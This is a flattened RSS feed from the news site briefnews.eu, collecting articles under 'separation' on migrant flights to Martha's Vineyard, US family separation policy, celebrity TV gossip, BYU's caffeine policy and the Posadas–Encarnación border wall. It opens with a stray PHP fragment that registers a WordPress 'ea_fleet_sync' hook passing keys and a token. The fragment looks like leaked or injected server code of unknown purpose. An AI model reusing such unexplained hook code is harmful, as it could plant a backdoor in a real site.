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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); separation – Brief News https://briefnews.eu Latest World News. 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Wed, 21 Sep 2022 00:07:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png separation – Brief News https://briefnews.eu 32 32 Ron DeSantis said the migrants he flew to Martha’s Vineyard ‘hit the jackpot’ — but immigration experts say the stunt more closely resembles a ‘different shade of family separation’ https://briefnews.eu/ron-desantis-said-the-migrants-he-flew-to-marthas-vineyard-hit-the-jackpot-but-immigration-experts-say-the-stunt-more-closely-resembles-a-different-shade-of-family-separation/ https://briefnews.eu/ron-desantis-said-the-migrants-he-flew-to-marthas-vineyard-hit-the-jackpot-but-immigration-experts-say-the-stunt-more-closely-resembles-a-different-shade-of-family-separation/#respond Wed, 21 Sep 2022 00:07:52 +0000 https://briefnews.eu/ron-desantis-said-the-migrants-he-flew-to-marthas-vineyard-hit-the-jackpot-but-immigration-experts-say-the-stunt-more-closely-resembles-a-different-shade-of-family-separation/ A mother holds her son.
A mother and child spent some time outside the St. Andrew's Parrish House where migrants were being fed lunch with donated food from the community.

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  • Florida Gov. Ron DeSantis defended his decision to fly dozens of migrants from Texas to Martha's Vineyard.
  • Over the weekend, he suggested that those migrants "hit the jackpot" by landing in Massachusetts.
  • But immigration experts say that language is dehumanizing and dangerous. 

Florida Gov. Ron DeSantis continues to praise his own politicking after flying dozens of migrants from Texas to Martha's Vineyard last week, but immigration experts say the stunt was dehumanizing to the migrants at the center of the controversy and minimized the oft-harrowing journeys endured by asylum-seekers.

DeSantis in the last week has faced criticism and compliments for the decision, in which Florida chartered two planes to fly about 50 undocumented migrants from San Antonio, Texas, to the Massachusetts island.

The GOP lawmaker's office later clarified that the move was part of Florida's "relocation program to transport illegal immigrants to sanctuary destinations" — the most recent effort by GOP leaders to highlight what they call a crisis at the US Southern border.

Immigration advocates have uniformly rebuked the stunt, accusing DeSantis of prioritizing politics — and specifically, his aims for higher office — over the real lives of the Venezuelan and Colombian migrants caught in the crossfire.

"We all know this is sheer political theater," Vicki Gaubeca, director of Southern Border Communities Coalition, told Insider. "Florida is not on the US-Mexico border, so the migrants were transported to Martha's Vineyard from Texas on Floridians' dime."

She added that, instead of "caring about human beings fleeing political or economical disasters and providing a humane, orderly solution," DeSantis, along with Texas Gov. Greg Abbott, "chose to lay bare their cruelty, add another layer of suffering and make the problem worse."

During a weekend speech at a Republican rally in Wisconsin, DeSantis doubled down on the move, saying that the migrants he sent to Martha's Vineyard had "hit the jackpot to be in the wealthiest sanctuary jurisdiction in the world."

It's carefully-chosen language on DeSantis' part but doesn't represent the reality for most migrants, according to immigration experts.

"Migrants being transported under false pretenses, away from their intended home communities, with the families and friends willing to receive them, to an island with no immigration courts or ICE field offices where migrants can check-in, can hardly be considered 'hitting the jackpot,'" Nicole Ramos, Al Otro Lado's Border Rights Project director, said in a statement to Insider.

"It looks more like a different shade of family separation to me," Ramos continued.

The migrants who landed in Martha's Vineyard last week were given misleading brochures promising cash assistance and job placement services before touching down on the island, according to lawyers for the migrants. Some of the asylum seekers also told NPR that a woman, who solely identified herself as "Perla," promised they would receive work permits in Boston after arriving. 

The migrants on Tuesday filed a federal class action lawsuit against DeSantis, claiming that the incident was a "premeditated, fraudulent, and illegal scheme."

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Venezuelan migrants stand outside St. Andrew's Church in Edgartown, Massachusetts, U.S. September 14, 2022

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The governor's ongoing rhetoric, including his "jackpot" remark, could have longterm, harmful repercussions for migrants, according to Pedro Rios, director of the American Friends Service Committee's US/Mexico Border Program.

"By suggesting that the migrants he flew to Martha's Vineyard have a hit a 'jackpot,' he minimizes the harrowing experiences migrants have faced in their home countries and what they've encountered along dangerous routes," Rios told Insider.

He added: "This has the effect of dehumanizing them, which makes it easier for DeSantis' supporters to be intolerant of people in vulnerable conditions and easier to deny migrants and asylum seekers basic rights and protections."

Many migrants face danger and even the threat of death during their immigration experience, only to be met with further animosity once they reach the US, Rios said, which can have significant impacts on a person's mental health.

Earlier this week, an asylum seeker died by suicide in a New York City homeless shelter, Mayor Eric Adams announced on Monday. While there were few details released about the incident, Adams said at a press conference that the woman's death highlights the traumatizing experiences many migrants face.

"All local and state jurisdictions have the obligation to welcome migrants and asylum seekers with measures that uplift their dignity, that prioritize their emotional, mental, and physical integrity," Rios said. 

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Tess Daly, 51, was back on hand to host another edition of Strictly Come Dancing as the competition is just weeks away from its Grand Final. For the past few weeks, the BBC presenter has been separated from her husband Vernon, 46, as it was revealed earlier this month he was going to be taking part in this year’s series of I’m A Celebrity…Get Me Out Of Here! which has been relocated to Gwrych Castle in Wales. The mother-of-two rarely speaks about her other half on television, making her comments on Saturday night even more surprising.

The moment came as Tess’ co-host Claudia Winkleman, 48, had just finished speaking with contestants Ranvir Singh, 43, and Giovanni Pernice, 30.

Teasing what was to come, the comedic Strictly star explained former Royal Marine JJ Chalmers, 33, was going to be doing a routine based around the Scottish Highlands.

“I am taking you there for our honeymoon,” she joked to her fellow presenter before the mother-of-two then brought her husband into the conversation.

Not expecting to talk about her other half, the anchor of the programme remarked: “Vernon’s away. I’m in.”

Of course, this was in reference to him still taking part in the ITV reality and it is usually stated in the rules that BBC stars don’t reference their rival broadcaster on air.

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It might have been a brief comment, but it didn’t go unnoticed by those watching at home who flocked to social media and launched into meltdown over the presenter almost breaking the rules.

One envious viewer wrote on Twitter: “Tess reminding me she’s the one married to Vernon and not me #Strictly.”  

Another added: “‘Vernon’s away’ – I’m old enough to feel a genuine frisson of excitement that Tess has alluded to ITV *while on prime-time BBC1* #Strictly.”

Whilst a third commented: “Tess letting us know Vernon is in the Castle Strictly,” a fourth shared: “Tess mentioning Vernon being away on Strictly but not mentioning I’m A Celeb cause she’s on the BBC #imacelebrity #imaceleb #Strictly.”

Seen eating a slice of pizza and wearing a black, silk robe after finishing her duties on Strictly, the presenter wrote: “From one show to another. @I’mACelebrity @VernonKay.”

Tess has also been ushering her support for Vernon by posting pictures of the pair on her social media channels.

On Saturday evening, the television stalwart reposted a clip of her other half showing off some of his dancing skills.

It seems she was is very proud of her husband as she has also posted short snippets of him talking about her with his fellow campmates.

Fans of the pair have been lapping up the husband and wife being on-screen at the same time, with one replying to Tess’ posts on Instagram: “We need Vernon back on the television more.

“Could Vernon be a Strictly contestant or is that a conflict of interest? Don’t know,” a second wrote to the presenter.

A third posted: “Think Strictly has got competition,” whilst a fourth fan remarked: “Power couple for life.”

Whilst a fifth shared of the couple: “Have always loved you two, @vernonkay is our winner, blessings always.”

Strictly Come Dancing continues tonight at 7:25pm on BBC One. I’m A Celebrity…Get Me Out Of Here continues tonight at 9pm on ITV.

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]]> https://briefnews.eu/tess-daly-references-separation-from-vernon-on-strictly-as-she-almost-breaks-bbc-rules/feed/ 0 The Trump administration is reportedly considering a new family separation policy for immigrants https://briefnews.eu/the-trump-administration-is-reportedly-considering-a-new-family-separation-policy-for-immigrants/ https://briefnews.eu/the-trump-administration-is-reportedly-considering-a-new-family-separation-policy-for-immigrants/#respond Sat, 13 Oct 2018 01:10:43 +0000 http://briefnews.eu/the-trump-administration-is-reportedly-considering-a-new-family-separation-policy-for-immigrants/ migrant child mother border patrolAssociated Press/Matt York

  • The Trump administration is reportedly considering a new family separation policy for immigrants who cross the US-Mexico border with their children.
  • Instead of forcibly splitting up immigrant families at the border, as authorities did under the “zero tolerance” immigration policy, the parents would face a “binary choice” to be held as a family in detention or have their children released without them.
  • The renewed family separations push is being spearheaded by Trump’s senior policy adviser, Stephen Miller, who reportedly believed that the original “zero tolerance” policy was effective in deterring illegal immigration.

The Trump administration could soon revive its practice of separating immigrant families at the border by offering them a choice between indefinite detention and separation, The Washington Post reported Friday, citing senior administration officials.

The new policy would not exactly replicate the controversial “zero tolerance” immigration policy that caused a public uproar in the springtime, when authorities forcibly split more than 2,500 children from their parents.

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]]> https://briefnews.eu/the-trump-administration-is-reportedly-considering-a-new-family-separation-policy-for-immigrants/feed/ 0 Love Island 2018: Fans spot huge flaw over Dani Dyer and Jack Fincham separation https://briefnews.eu/love-island-2018-fans-spot-huge-flaw-over-dani-dyer-and-jack-fincham-separation/ https://briefnews.eu/love-island-2018-fans-spot-huge-flaw-over-dani-dyer-and-jack-fincham-separation/#respond Sat, 30 Jun 2018 06:35:05 +0000 http://briefnews.eu/love-island-2018-fans-spot-huge-flaw-over-dani-dyer-and-jack-fincham-separation/

ani and Jack have been partnered up since day one and the pair are now officially girlfriend and boyfriend.

However, they’ve faced their toughest challenge yet this week on .

The pair have been separated from one another with Jack being packed off to Casa Amor.

He came face-to-face with his ex girlfriend Ellie Jones, who confessed to still having a “soft spot” for the pen salesman.

Meanwhile, Dani has welcomed six new boys into the main villa.

But while the newcomers try to tempt them, the pair seem keen to stay faithful to one another.

In tonight’s episode, Jack was seen sleeping outside on his own.

He told viewers at home that he was missing Dani and hated being separated from her.

Those tuning into Love Island were quick to question why they were so worried.

Many pointed out that they all have mobile phones and asked why they weren’t texting.

Taking to Twitter to comment on the flaw, one fan asked: “Can’t the original boys and girls text each other when they are in different villas?”

“Wait… they all have phones… so they can text each other?” another queried.

“Why are Jack and Dani having separation anxiety?”

It’s not surprising that fans wanted to know why the pair hadn’t been messaging each other.

The islanders have mobile which they receive texts on to inform them of tasks and challenges.

The original islanders can text each other individually or in a group.

However, they can not use the devices to make contact with the outside world.

It was recently revealed that the islanders are banned from knowing details of the World Cup.

Football fans in the villa have been kept in the dark over the progress of the England team.

Love Island continues Sunday on ITV at 9pm.

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]]> https://briefnews.eu/love-island-2018-fans-spot-huge-flaw-over-dani-dyer-and-jack-fincham-separation/feed/ 0 A Trump administration ‘myth vs fact’ sheet on its family separation policy deliberately avoids the most important point about the scandal https://briefnews.eu/a-trump-administration-myth-vs-fact-sheet-on-its-family-separation-policy-deliberately-avoids-the-most-important-point-about-the-scandal/ https://briefnews.eu/a-trump-administration-myth-vs-fact-sheet-on-its-family-separation-policy-deliberately-avoids-the-most-important-point-about-the-scandal/#respond Tue, 19 Jun 2018 10:46:44 +0000 http://briefnews.eu/a-trump-administration-myth-vs-fact-sheet-on-its-family-separation-policy-deliberately-avoids-the-most-important-point-about-the-scandal/ Kirstjen NielsenSusan Walsh/AP

  • The Trump administration is under fire for its policy of separating children from their parents at the US-Mexico border.
  • As a result, the Department of Homeland Security has published a supposed fact check of its family separation policy.
  • It details “myths” about the policy, and blames the media and congressmen for negative stories about it.
  • But it leaves out the main reason it is separating families: The Justice Department’s new hardline zero-tolerance policy on border immigration.

The Department of Homeland Security published a “Myth vs. Fact” document in an attempt to cool the political firestorm around its family separation policy — but it deliberately avoided mentioning its new zero-tolerance policy that is behind the scandal.

The supposed fact check, published on the DHS website on Monday, attempts to debunk 13 “myths” about ongoing family separations at the US border. Its efforts to do so are dubious, however.

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]]> https://briefnews.eu/a-trump-administration-myth-vs-fact-sheet-on-its-family-separation-policy-deliberately-avoids-the-most-important-point-about-the-scandal/feed/ 0 The Trump administration keeps blaming ‘loopholes’ in immigration law for its family separation policy — here’s what’s really going on https://briefnews.eu/the-trump-administration-keeps-blaming-loopholes-in-immigration-law-for-its-family-separation-policy-heres-whats-really-going-on/ https://briefnews.eu/the-trump-administration-keeps-blaming-loopholes-in-immigration-law-for-its-family-separation-policy-heres-whats-really-going-on/#respond Tue, 19 Jun 2018 01:14:06 +0000 http://briefnews.eu/the-trump-administration-keeps-blaming-loopholes-in-immigration-law-for-its-family-separation-policy-heres-whats-really-going-on/ kirstjen nielsenAssociated Press/Pablo Martinez Monsivais

  • The Trump administration keeps falsely blaming its new family separation practice on current immigration law, and “loopholes” it says migrants are exploiting.
  • Yet, as many critics of the Trump administration have pointed out, there is no law requiring migrant children be separated from their parents if they illegally cross the border.
  • Nevertheless, the Trump administration has demanded Congress reform several laws or legal agreements that it believes would halt illegal immigration.

Homeland Security Secretary Kirstjen Nielsen defended the Trump administration’s new “zero-tolerance” policy at a combative press briefing with reporters on Monday, falsely blaming the controversial practice of separating migrant families at the border on Democrats and “loopholes” in the US immigration system.

“This entire crisis, just to be clear, is not new. It’s been occurring and expanded over many decades,” Nielsen said. “But currently, it is the exclusive product of loopholes in our federal immigration laws that prevent illegal immigrant minors and family members from being detained and removed to their home countries.”

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]]> https://briefnews.eu/the-trump-administration-keeps-blaming-loopholes-in-immigration-law-for-its-family-separation-policy-heres-whats-really-going-on/feed/ 0 ‘It is immoral’: Former first lady Laura Bush criticizes the separation of migrant children from their parents https://briefnews.eu/it-is-immoral-former-first-lady-laura-bush-criticizes-the-separation-of-migrant-children-from-their-parents/ https://briefnews.eu/it-is-immoral-former-first-lady-laura-bush-criticizes-the-separation-of-migrant-children-from-their-parents/#respond Mon, 18 Jun 2018 06:09:06 +0000 http://briefnews.eu/it-is-immoral-former-first-lady-laura-bush-criticizes-the-separation-of-migrant-children-from-their-parents/ Laura Bush and George BushTom Pennington/Getty Images

  • Former first lady Laura Bush has criticized the Trump administration’s “zero tolerance” policy that has seen nearly 2,000 children separated from their parents in two months.
  • Bush, who rarely speaks out on politics, wrote an op-ed in The Washington Post on Sunday.
  • The wife of former president George W. Bush called the policy “cruel,” “immoral,” and said it “breaks my heart.”
  • Bush said the policy is reminiscent of the internment of Japanese Americans during World War II which is now considered “one of the most shameful episodes in US history.”

Former US first lady Laura Bush rarely speaks out on political issues but on Sunday she openly criticized the Trump administration’s separation of children from their parents along the border.

In April, Attorney General Jeff Sessions announced a “zero tolerance” policy towards migrants crossing the US border illegally, which leads to adults being tried as criminals and thus losing custody of their children. In that time, nearly 2,000 children have been separated from their parents leading to crowded facilities and devastating scenes.

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]]> https://briefnews.eu/it-is-immoral-former-first-lady-laura-bush-criticizes-the-separation-of-migrant-children-from-their-parents/feed/ 0 Separation Of Church And Soda https://briefnews.eu/separation-of-church-and-soda/ https://briefnews.eu/separation-of-church-and-soda/#respond Sat, 23 Sep 2017 07:55:28 +0000 http://briefnews.eu/separation-of-church-and-soda/

The biggest Mormon church–owned university in the world — a place that bans beards and wins the title “stone cold sober” school literally every year — is about to get a bit more lit.

Brigham Young University stunned students Thursday when it announced that it would begin selling caffeinated drinks. The Provo, Utah, school is run by the Church of Jesus Christ of Latter-day Saints, better known as the Mormon church, and hadn’t previously sold caffeinated drinks since the 1950s.

While Thursday’s announcement was celebrated (with a multitude of memes) across much of Mormondom, it represents the end of an era for the school, and for Mormons more broadly, some of whom had been avoiding caffeine on religious grounds. The decision is the latest move from a church inching further into the mainstream.

Mormon dietary restrictions trace their origins to Scripture and what’s called the “Word of Wisdom,” which the faithful interpret to prohibit things like coffee, tea, and alcohol. The Word of Wisdom doesn’t mention anything about caffeine, but Steve Evans, founder of the Mormon blog By Common Consent, told BuzzFeed News that members of the church are “naturally inquisitive, and some have engaged in their own sort of rabbinical analysis of why no coffee or tea.”

“Their answer: caffeine, of course,” Evans said. “So this led to a small but vocal group banning caffeinated drinks.”

Though the church clarified in 2012 that caffeine was not prohibited, the belief has persisted. It’s unknown how many Mormons actually avoid caffeine, but Evans said everyone was familiar with the idea.

“My mom wouldn’t let us drink Coke growing up,” Evans said. “I distinctly remember my first Coke, and it was deliciously rebellious.”

As a child, this reporter — who is Mormon and whose first caffeinated soda was a Pepsi in sixth grade — was also left with the distinct impression that people who avoided caffeinated soda were definitely more righteous than those who partook.

Variations of this attitude within Mormonism were bolstered in part by some church leaders, such as Bruce R. McConkie, who advocated for a “retrenchment” within the faith that produced a variety of implied rules such as avoiding caffeine and not using playing cards, according to Matt Bowman, a Mormon and history professor at Henderson State University in Arkansas. The idea was to keep Mormonism distinct from the mainstream.

“The interest of retrenchment era Mormonism is to set Mormons apart again,” he added. “They felt that Mormons had become too assimilated into American culture.”

But the pendulum is now swinging the other way, with more (especially younger) Mormons yearning to assimilate more into the mainstream, not fewer, Bowman said. BYU’s decision to start selling caffeinated drinks is part of that, along with things like recent dress code changes and the “I’m a Mormon” ad campaign.

“I think this is perhaps one more step, one more move in this larger process of increasing comfort with the world that has characterized Mormonism for the last 20 years,” Bowman added.

BYU plays a significant role in that process as well. Not only is it owned by the church, but it evolved into its current form as a large university under leadership of a president, Ernest L. Wilkinson, who wanted it to help set the tone for Mormonism generally.

“The idea was that BYU would be an engine for maintaining a coherent Mormon culture,” Bowman said. “People would come there and learn about the Mormon lifestyle.”

Now, that lifestyle is officially a caffeinated one.

Though BYU students were never barred from drinking caffeinated soda — gas stations just off campus have long done booming business by selling cases of Mountain Dew — there was much rejoicing Thursday at the prospect getting it on campus.

In a fact sheet, BYU said the decision to sell caffeinated soda on campus came after “consumer preferences” changed and the school received more requests for it.

Kevin Auernig, CEO of Sodalicious — a Utah-based chain of shops that specialize in “dirty soda” — told BuzzFeed News he has seen those preferences firsthand. He owns several stores in Provo, and they’re often “jam-packed” with students who couldn’t get caffeinated drinks on campus. He suggested the drinks are particularly appealing to students who might be cramming for exams.

“People enjoy their caffeine — it helps them get through,” he added.

Evans agreed.

“You have to understand the frustration of studying late at night and not being able to get a Mountain Dew or a Diet Coke on campus,” he said. “Or worse yet, only finding caffeine-free Diet Coke.”

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]]> https://briefnews.eu/separation-of-church-and-soda/feed/ 0 Separation Anxiety https://briefnews.eu/separation-anxiety/ https://briefnews.eu/separation-anxiety/#respond Sun, 05 Mar 2017 21:34:12 +0000 http://briefnews.eu/separation-anxiety/

POSADAS, Argentina — One morning in late 2014, construction cranes appeared on the western bank of the Paraná River, a natural border between Argentina and Paraguay. The city must be preparing to build a park, or a highway detour, university student Fabiana del Puerto guessed in a WhatsApp group for Paraguayan students who crossed into Argentina every day to attend classes.

Instead, a 12-foot-high concrete wall went up a few short months later, with little explanation from local authorities.

People on both sides were as offended as they were stunned: The fates of the residents of Posadas, in Argentina, and Encarnación, in Paraguay, are inextricably intertwined. No reason is ever too small to cross the 1.6-mile-long bridge that has linked the two in either direction for nearly three decades, whether it is to visit grandparents, get a medical checkup, buy cheaper school supplies, fill up the car with gas, or catch a movie at the cinema.

On that oppressively humid stretch of the border, located south of the Amazon rainforest, the two countries operate like one big neighborhood.

For years, del Puerto has had two important reasons to bus or walk over the tawny Paraná River almost daily: Her boyfriend is Argentine, and her major, genetics, is not offered at any university in Paraguay. While Encarnación remains her home, her social and academic lives have blossomed in Posadas, a city of 320,000 people. Until recently, her sense of belonging stretched indiscriminately across the two countries.

Since the wall went up, “no one feels welcome,” says del Puerto, whose measured pauses before speaking give her the air of someone twice her 25 years. After all, she added, “a prison has walls.”

With his promise to build a wall along the border with Mexico, US President Donald Trump has put a new spotlight on the concept of manufactured barriers dividing neighbors, an idea that many had hoped would disappear with the demolition of the Berlin Wall in 1989. But the matter has been on the minds of the people on the eastern fringes of Argentina for years now.

A wall like this one is especially traumatic in Latin America, since Argentina has for decades been hailed as having one of the most liberal and humane immigration policies in the world.

Ten years before the concrete slabs went up in Posadas, Argentina began implementing a law that established migration as a human right and extended all constitutional rights to every immigrant in the country, regardless of legal status. Between then and 2010, more than 420,000 people living illegally in Argentina were given permanent residency.

“To govern is to populate,” extolled Juan Bautista Alberdi, the Argentine political theorist who influenced the text of the country’s constitution in the 19th century.

But politics and history both have a deep sense of irony. The country’s lauded immigration law was first approved during former president Nestor Kirchner’s tenure; the wall in Posadas went up when his wife, Cristina Kirchner, was in office. And since President Mauricio Macri pledged to bring in 3,000 Syrian refugees last year, a growing number of officials from his own office and across the Argentine government have begun hardening both their rhetoric and policy toward immigrants.

Minister of Security Patricia Bullrich recently singled out Peruvians, Paraguayans, and Bolivians for the country’s security problems. “The concentration of foreigners who commit drug-related crimes is the concern our country has at the moment,” she said. Senator Alfredo Olmedo is advocating for a “technological” wall with Bolivia, while the chief of Argentine intelligence, Gustavo Arribas, recently suggested creating a special immigration police unit, according to local reports.

Last year, authorities approved the creation of a detention center for immigrants in Buenos Aires just as they announced a 37% increase in raids, which led to the discovery of 1,600 undocumented immigrants.

In January, Macri issued a decree making it easier to deport immigrants with criminal records and harder for them to enter the country. The decree stated that 21% of people in the federal penitentiary system are foreigners. But the statistic is misleading: the number falls to under 6% when the rest of the jails in the country are taken into account.

With ongoing debates about the rights of migrants taking place in Europe and the US, where right-wing populist leaders have ridden anti-immigrant sentiments to power, what happens next in Argentina could challenge the widespread integration of Latin America, a region that has made open borders a priority and which seemed, until recently, likely to dodge the current global trend toward insularity.

Birthday balloons, Spider-Man table centerpieces, plastic cups, and a handful of toys: Daiana Azor’s shopping list on one recent morning in February was fairly short, so she figured she’d be back in Posadas before lunchtime.

Azor’s son, Thian, shuffled excitedly on his feet as he waited for the train that would take them across the river to Encarnación in just under seven minutes. Thian was turning 4 the following week, so, naturally, the family headed to Paraguay to buy all the party supplies — for a third of the price they would at home.

For Azor, like many of the approximately 40,000 people who cross daily, the border had never been more than a dazzling span of water to traverse to get errands done. She only ever needed to pay $ 1 to hop on a public bus from Posadas’s downtown and hop off near the sprawling electronics market on the edge of Encarnación.

Then the wall went up.

“It’s a senseless, unnecessary expense,” said Azor, who now pays $ 12 for a cab instead. If the city felt the need to allocate excess public funds, she added with a slight smirk, it should have spent them on the dozens of homeless families that fill up its main square at night. But if the wall’s purpose was to stop contraband, as the company that built the wall contends, then it was laughably out of touch with reality, Azor said.

The mile-long concrete wall runs parallel to a three-lane highway, wrapping around the Argentine customs center, past an empty grassless field overlooking the river, and across to the train station. It has a smooth, clean surface except for a few bits that are covered with leftover scraps of torn-down posters or graffiti (one tag says “Ironic” in red).

The slabs of concrete don’t stop anyone from entering or leaving Posadas; they simply make it a hassle to get to and from its downtown area, located just a few blocks from the bridge. Cars do a 2.5-mile loop around the wall while women lugging big black plastic bags full of Paraguayan goods — legal and otherwise — walk along the narrow shade it casts.

“We are having a discussion [about border politics] from the capital cities, not from the daily reality,” said Posadas mayor Joaquín Losada, adding that the main reason the wall was built was to seal off the Argentine customs center from the rest of the city. Transnational contraband is impossible to stop here, he said: 90% of the territory in Misiones, the province where Posadas is located, straddles an international border.

It’s not just the economies that are intertwined. People in this borderland are far more racially and culturally connected to Paraguay’s third-largest city than they will ever be to Buenos Aires. People in Posadas roll their R’s less harshly here, as Paraguayans do, and the dominant traits on locals’ faces are more Guaraní, the indigenous group in the region, than European.

About 4.5% of the population in Argentina is made up of foreigners, largely from Paraguay, Peru, Bolivia, and Chile. There’s always been a widely recognized sense of superiority among the lighter-skinned Argentines of European descent — both in the country and throughout the region — but a respectful, friendly co-existence has generally been the norm, especially during economically prosperous times.

That is no longer the case. Since Macri took office in 2015, unemployment has grown to 8.5%, up from 5.9%, and inflation jumped by nearly 40% during 2016. His administration has been plagued by a number of scandals, including recently condoning most of a $ 4 billion debt owed by the country’s postal service, which his family owns, and cutting the National Women’s Council budget in the midst of a femicide crisis in which a woman is being killed every 30 hours.

Safety concerns have also risen: 32.2% of those polled by the Pontifical Catholic University of Argentina in 2015 said security was the most pressing concern in the country, up from 28.4% in 2011.

Experts say that the rise in anti-immigrant rhetoric among the political class is a classic example of scapegoating the “other” for trouble at home. “This attitude is a consequence of Argentina’s cooling economy … and an urban insecurity issue,” said Jorge Álvarez, president of the Open Institute for the Development and Study of Public Policy, a human rights organization.

Politicians from across the political spectrum have blamed immigrants for bringing crime into the country. “We are living in an age where leaders carry out policy and opine with a polling thermometer in hand,” said Álvarez.

“I want to put nationalism, in the best sense of the word, as the base of our society,” Olmedo, a lawmaker who is advocating for the construction of a “technological” wall with Bolivia, told BuzzFeed News. Olmedo said that immigrants should be let into the country only if their respective governments agree to pay for their services, like health care and education, in Argentina.

“We Argentines need to wear the Argentine shirt, and sweat it, too,” Olmedo said.

Senate Majority Leader Miguel Pichetto referred to Peruvian and Bolivian immigrants as human “backwash” and recently complained about a Buenos Aires hospital being filled with Paraguayans. “One of the problems in Argentina is the egalitarian culture,” he said in November.

In January, Macri issued a decree that speeds up deportations of immigrants who commit crimes (from taking as many as seven years to being complete in under a couple of months) and adds a new layer of difficulty for those who want to enter the country. Many people immediately drew comparisons to Trump’s controversial immigration policies.

“Fellow Latin American presidents, let’s be a #BigHomeland, and NOT follow immigration policies of the north. Together for our sovereignty and dignity,” tweeted Bolivian president Evo Morales. The Paraguayan foreign secretary, Eladio Loizaga, said he was “paying attention” and “alert” to Argentina’s new regulations.

The problem with policies and statements that seek to displace blame onto the “other,” said Álvarez, is that no one knows just how deep the societal shifts will go. “It’s irresponsible … there is always a consequence.”

Back in Posadas, Mayor Losada chuckled at Macri’s recent decree, saying that if the president wants to make Argentina safe he should do it by working even more closely with neighbors, not shutting them out.

“There’s no way I can do well if Paraguay doesn’t grow,” said Losada in his fifth-floor office overlooking the river, its calm waters reflecting the evening’s city lights. Losada, his thick eyebrows furrowed as he drank maté, explained that what Argentina needs is not a wall, or hardened immigration controls, but efforts to equalize taxes and health care in the region so that people don’t cross borders in search of cheaper goods or higher-quality medical care.

As much as $ 1.5 million is lost from Posadas to the informal economy in Encarnación every day, said Losada. He quoted Argentine economist Juan Carlos de Pablo’s half-joking solution to Posadas’s financial woes: destroy the bridge that connects it to Encarnación.

It is an absurd suggestion, of course. But even the joke should be concerning to Encarnación: 60% of its economy depends on commerce, much of it informal. The thousands of Argentines who cross into the city every day, ready to add to the Paraguayan economy, descend the train station’s stairs straight into the heart of a street market, its stalls brimming with knockoff Boca Juniors soccer jerseys, Legos, and $ 1 Ray-Bans.

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A boy carrying packages crosses under a closed entrance near Argentina’s Migration and Customs Office, Feb. 27, 2017. In the background is the wall with Paraguay. Javier Fernandez for BuzzFeed News

One thing is clear: Everybody here agrees, the wall does not work.

Azor, who has a newborn at home, needed a new blender on the cheap earlier this year, so she called her personal pasera, as the people who smuggle goods across borders are called, and handed her $ 38. A similar blender in Posadas would have cost her $ 95.

Her pasera, said Azor, regularly pays off specific customs agents to turn their heads when she smuggles electronics into Argentina.

Despite the message the wall is intended to send, security at the Posadas customs center is lax. The X-ray machine on the way out of Argentina doesn’t work, and the guard on the way back in inspects random bags only for a split second. Even going through is optional: Many smugglers simply use speedboats farther down the river, especially at night, locals with relatives who deal in contraband goods for a living told BuzzFeed News.

Smuggling is as much a part of the culture here as the suffocating heat that makes life move in slow motion. Thousands of the poorest families in both cities depend on it to survive.

Depending on the Argentine and Paraguayan economies, goods and services flow one way or the other, but their journey across the Paraná River is inevitable. Today, people from Encarnación take a bus across the bridge to see specialized doctors, get higher-grade gas, or attend more-competitive schools; locals from Posadas head to the opposite riverbank to buy clothes and electronics, or spend an afternoon at one of its man-made beaches.

Those who go by train pay $ 2.20 each way. Crossing by car is free, though authorities have been debating putting up a tollbooth for some time now.

Even its creators, the Entidad Binacional Yacyretá, or EBY, an enterprise co-owned by the Argentine and Paraguayan governments, aren’t fans of the $ 3 million wall. EBY operates the Yacyretá Dam, which, like the wall, was built without prior consultation of the local population, and has displaced thousands of people over the years. Its construction was plagued by so many irregularities that former president Carlos Menem referred to it as a “monument to corruption.”

Humberto Schiavoni, who was named director of EBY after the wall was built, described it as a “horrible, unexplainable eyesore,” saying that the company would tear it down if it didn’t cost nearly as much as it did to build it. Instead, the company is planning to open up a section of it to alleviate traffic and enlist the help of local artists to turn it into a large mural to celebrate the friendship between the two cities that it divides.

The former director of EBY who approved the wall, Oscar Thomas, did not respond to a request for comment from BuzzFeed News.

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The bridge linking Posadas and Encarnación. Javier Fernandez for BuzzFeed News

No matter how much the city beautifies the structure, the way it slices the community apart remains. “It cuts off the integration of many generations of people,” said resident Daniel Prino, who started a Change.org petition to have the wall torn down that more than 8,200 people signed. What’s worse, he said, “it’s a provocation to Paraguayans.” Prino, 67, said that the wall was doubly embarrassing given the history Argentina has with its neighbor: Along with Brazil and Uruguay, it nearly wiped Paraguay off the map in the 1860s during the War of the Triple Alliance.

Prino praised Macri’s decree, saying that immigration controls are necessary and that Argentina has a right to stop criminals from entering the country. But far from accomplishing that, the wall acts as nothing more than a form of cultural violence between cousins, he said.

That emotional nuance gets lost between Posadas and Buenos Aires, 620 miles away. “I’m a simple public servant. Those psychological questions are of a greater academic level,” Horacio Garcia, the head of the National Directorate of Migration, told BuzzFeed News in an interview.

And yet not everyone who co-exists with the wall agrees that it poses an ethical conundrum. For Losada, it is nothing more than an aesthetic one. He said that traffic from the international bridge needed to be rerouted away from the city center, but agreed that it could have been done less jarringly, like with a fence.

For now, undulating mounds of grassy earth and bike paths decorate the city side of the wall. They are quaint and well-kept, but nothing like the post-Impressionist view of the river which is now hidden. People in the area said that the value of their property has gone down since the wall went up.

Many here say that even if it were to come down, the wall has already done irreparable damage by confirming a bias that many had tried to ignore for generations: that Argentines look down on their neighbors from across the river.

“It has a psychological effect on people. It’s a bad feeling, a feeling of rejection,” Enrique Velázquez, the president of Encarnación’s Chamber of Commerce, told BuzzFeed News.

Though it may not have been built to send a widespread message against immigration, the wall is now a piece of a larger and growing trend in Argentina. That feeling of rejection is becoming more commonplace, even for those who once felt at home in the country.

On the day Macri announced the new immigration decree, said del Puerto, the Paraguayan university student, her friends started to tease her. “Don’t kill your boyfriend, now,” they said. Later that day, one of her professors asked her if she had heard about it. “These foreigners, we have to deport them all,” he joked.

Del Puerto tried to play it down.

“I love you, too,” she responded.

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Cars wait to cross the bridge between Encarnación, Paraguay, and Posadas, Argentina, Feb. 27, 2017. Javier Fernandez for BuzzFeed News

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Karla Zabludovsky is the Mexico bureau chief and Latin America correspondent for BuzzFeed News and is based in Mexico City.

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The Israeli Defense Ministry has recently finished the construction of a 10-kilometer (6.2 miles) section of the barrier, the Jerusalem Post learned on Sunday. The rest of the 42 kilometers (26 miles) barrier that runs along the demarcation Green Line near Hebron Hills is set to be completed in the next six months.

